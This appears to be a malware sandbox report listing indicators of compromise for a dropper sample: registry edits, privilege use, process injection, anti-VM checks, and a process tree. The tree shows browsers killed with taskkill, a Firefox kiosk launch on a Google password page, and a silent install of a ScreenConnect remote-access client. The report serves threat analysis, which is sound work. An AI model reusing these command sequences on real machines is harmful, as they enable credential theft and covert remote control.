Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000a47b29fbd6f9c3720000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000a47b29fb0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900a47b29fb000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1da47b29fb000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a47b29fb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	d7f50a317e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	d7f50a317e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
4496	timeout.exe

Kills process with taskkill 5 IoCs

pid	Process
2740	taskkill.exe
3716	taskkill.exe
1936	taskkill.exe
1868	taskkill.exe
1012	taskkill.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe

Modifies registry class 38 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\ = "ScreenConnect Client (eecac53463291819) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\PackageCode = "295428210293F5E8A22AC5A8F81BF75E"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\ProductIcon = "C:\\Windows\\Installer\\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Version = "402849799"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D9FA4D2B2C06BDE2EEAC5C4336928191\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\eecac53463291819\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\295428210293F5E8A22AC5A8F81BF75E\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\eecac53463291819\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-eecac53463291819	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D9FA4D2B2C06BDE2EEAC5C4336928191	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\ProductName = "ScreenConnect Client (eecac53463291819)"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-eecac53463291819\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Media\1 = ";"	msiexec.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
5940	PING.EXE
3428	PING.EXE
788	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5352	schtasks.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
1544	skotes.exe
1544	skotes.exe
4752	H9TU4oY.exe
4752	H9TU4oY.exe
2240	d4697f2f2d.exe
2240	d4697f2f2d.exe
3564	50f1782a88.exe
3564	50f1782a88.exe
2904	skotes.exe
2904	skotes.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
1176	8e7b403317.exe
1176	8e7b403317.exe
1176	8e7b403317.exe
1176	8e7b403317.exe
1176	8e7b403317.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
3784	msiexec.exe
3784	msiexec.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5244	powershell.exe
5244	powershell.exe
5244	powershell.exe
2940	d7f50a317e.exe
2940	d7f50a317e.exe
2636	273ca88060.exe
2636	273ca88060.exe
3196	skotes.exe
3196	skotes.exe
2284	Intel_PTT_EK_Recertification.exe
5436	powershell.exe
5436	powershell.exe
5436	powershell.exe
5836	skotes.exe
5836	skotes.exe
3148	Intel_PTT_EK_Recertification.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	94CwbGg.exe
Token: SeShutdownPrivilege	4956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4956	msiexec.exe
Token: SeSecurityPrivilege	3784	msiexec.exe
Token: SeCreateTokenPrivilege	4956	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4956	msiexec.exe
Token: SeLockMemoryPrivilege	4956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4956	msiexec.exe
Token: SeMachineAccountPrivilege	4956	msiexec.exe
Token: SeTcbPrivilege	4956	msiexec.exe
Token: SeSecurityPrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeLoadDriverPrivilege	4956	msiexec.exe
Token: SeSystemProfilePrivilege	4956	msiexec.exe
Token: SeSystemtimePrivilege	4956	msiexec.exe
Token: SeProfSingleProcessPrivilege	4956	msiexec.exe
Token: SeIncBasePriorityPrivilege	4956	msiexec.exe
Token: SeCreatePagefilePrivilege	4956	msiexec.exe
Token: SeCreatePermanentPrivilege	4956	msiexec.exe
Token: SeBackupPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeShutdownPrivilege	4956	msiexec.exe
Token: SeDebugPrivilege	4956	msiexec.exe
Token: SeAuditPrivilege	4956	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4956	msiexec.exe
Token: SeChangeNotifyPrivilege	4956	msiexec.exe
Token: SeRemoteShutdownPrivilege	4956	msiexec.exe
Token: SeUndockPrivilege	4956	msiexec.exe
Token: SeSyncAgentPrivilege	4956	msiexec.exe
Token: SeEnableDelegationPrivilege	4956	msiexec.exe
Token: SeManageVolumePrivilege	4956	msiexec.exe
Token: SeImpersonatePrivilege	4956	msiexec.exe
Token: SeCreateGlobalPrivilege	4956	msiexec.exe
Token: SeCreateTokenPrivilege	4956	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4956	msiexec.exe
Token: SeLockMemoryPrivilege	4956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4956	msiexec.exe
Token: SeMachineAccountPrivilege	4956	msiexec.exe
Token: SeTcbPrivilege	4956	msiexec.exe
Token: SeSecurityPrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeLoadDriverPrivilege	4956	msiexec.exe
Token: SeSystemProfilePrivilege	4956	msiexec.exe
Token: SeSystemtimePrivilege	4956	msiexec.exe
Token: SeProfSingleProcessPrivilege	4956	msiexec.exe
Token: SeIncBasePriorityPrivilege	4956	msiexec.exe
Token: SeCreatePagefilePrivilege	4956	msiexec.exe
Token: SeCreatePermanentPrivilege	4956	msiexec.exe
Token: SeBackupPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeShutdownPrivilege	4956	msiexec.exe
Token: SeDebugPrivilege	4956	msiexec.exe
Token: SeAuditPrivilege	4956	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4956	msiexec.exe
Token: SeChangeNotifyPrivilege	4956	msiexec.exe
Token: SeRemoteShutdownPrivilege	4956	msiexec.exe
Token: SeUndockPrivilege	4956	msiexec.exe
Token: SeSyncAgentPrivilege	4956	msiexec.exe
Token: SeEnableDelegationPrivilege	4956	msiexec.exe
Token: SeManageVolumePrivilege	4956	msiexec.exe
Token: SeImpersonatePrivilege	4956	msiexec.exe
Token: SeCreateGlobalPrivilege	4956	msiexec.exe
Token: SeCreateTokenPrivilege	4956	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4956	msiexec.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
4956	msiexec.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
4972	8dbbf83d55.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4956	msiexec.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 37 IoCs

pid	Process
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
4972	8dbbf83d55.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
3268	firefox.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
4972	8dbbf83d55.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe
5632	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3268	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 1544	3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe	83
PID 3020 wrote to memory of 1544	3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe	83
PID 3020 wrote to memory of 1544	3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe	83
PID 1544 wrote to memory of 1308	1544	skotes.exe	91
PID 1544 wrote to memory of 1308	1544	skotes.exe	91
PID 1544 wrote to memory of 1308	1544	skotes.exe	91
PID 1308 wrote to memory of 4956	1308	94CwbGg.exe	92
PID 1308 wrote to memory of 4956	1308	94CwbGg.exe	92
PID 1308 wrote to memory of 4956	1308	94CwbGg.exe	92
PID 3784 wrote to memory of 624	3784	msiexec.exe	98
PID 3784 wrote to memory of 624	3784	msiexec.exe	98
PID 3784 wrote to memory of 624	3784	msiexec.exe	98
PID 624 wrote to memory of 3096	624	MsiExec.exe	99
PID 624 wrote to memory of 3096	624	MsiExec.exe	99
PID 624 wrote to memory of 3096	624	MsiExec.exe	99
PID 1544 wrote to memory of 4752	1544	skotes.exe	103
PID 1544 wrote to memory of 4752	1544	skotes.exe	103
PID 1544 wrote to memory of 4752	1544	skotes.exe	103
PID 1544 wrote to memory of 2240	1544	skotes.exe	109
PID 1544 wrote to memory of 2240	1544	skotes.exe	109
PID 1544 wrote to memory of 2240	1544	skotes.exe	109
PID 1544 wrote to memory of 3564	1544	skotes.exe	111
PID 1544 wrote to memory of 3564	1544	skotes.exe	111
PID 1544 wrote to memory of 3564	1544	skotes.exe	111
PID 1544 wrote to memory of 4972	1544	skotes.exe	112
PID 1544 wrote to memory of 4972	1544	skotes.exe	112
PID 1544 wrote to memory of 4972	1544	skotes.exe	112
PID 4972 wrote to memory of 2740	4972	8dbbf83d55.exe	115
PID 4972 wrote to memory of 2740	4972	8dbbf83d55.exe	115
PID 4972 wrote to memory of 2740	4972	8dbbf83d55.exe	115
PID 4972 wrote to memory of 3716	4972	8dbbf83d55.exe	117
PID 4972 wrote to memory of 3716	4972	8dbbf83d55.exe	117
PID 4972 wrote to memory of 3716	4972	8dbbf83d55.exe	117
PID 4972 wrote to memory of 1936	4972	8dbbf83d55.exe	121
PID 4972 wrote to memory of 1936	4972	8dbbf83d55.exe	121
PID 4972 wrote to memory of 1936	4972	8dbbf83d55.exe	121
PID 4972 wrote to memory of 1868	4972	8dbbf83d55.exe	133
PID 4972 wrote to memory of 1868	4972	8dbbf83d55.exe	133
PID 4972 wrote to memory of 1868	4972	8dbbf83d55.exe	133
PID 4972 wrote to memory of 1012	4972	8dbbf83d55.exe	125
PID 4972 wrote to memory of 1012	4972	8dbbf83d55.exe	125
PID 4972 wrote to memory of 1012	4972	8dbbf83d55.exe	125
PID 1544 wrote to memory of 1176	1544	skotes.exe	127
PID 1544 wrote to memory of 1176	1544	skotes.exe	127
PID 1544 wrote to memory of 1176	1544	skotes.exe	127
PID 4972 wrote to memory of 2648	4972	8dbbf83d55.exe	134
PID 4972 wrote to memory of 2648	4972	8dbbf83d55.exe	134
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 2648 wrote to memory of 3268	2648	firefox.exe	130
PID 3268 wrote to memory of 4132	3268	firefox.exe	131
PID 3268 wrote to memory of 4132	3268	firefox.exe	131
PID 3268 wrote to memory of 4132	3268	firefox.exe	131
PID 3268 wrote to memory of 4132	3268	firefox.exe	131
PID 3268 wrote to memory of 4132	3268	firefox.exe	131
PID 3268 wrote to memory of 4132	3268	firefox.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
4252	attrib.exe
3476	attrib.exe
5596	attrib.exe

C:\Users\Admin\AppData\Local\Temp\e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
"C:\Users\Admin\AppData\Local\Temp\e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe
    "C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\eecac53463291819\ScreenConnect.ClientSetup.msi"
      4⤵
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4956
- - C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe
    "C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4752
- - C:\Users\Admin\AppData\Local\Temp\1015440001\d4697f2f2d.exe
    "C:\Users\Admin\AppData\Local\Temp\1015440001\d4697f2f2d.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2240
- - C:\Users\Admin\AppData\Local\Temp\1015441001\50f1782a88.exe
    "C:\Users\Admin\AppData\Local\Temp\1015441001\50f1782a88.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3564
- - C:\Users\Admin\AppData\Local\Temp\1015442001\8dbbf83d55.exe
    "C:\Users\Admin\AppData\Local\Temp\1015442001\8dbbf83d55.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:2740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:3716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1936
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1868
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1012
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2648
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
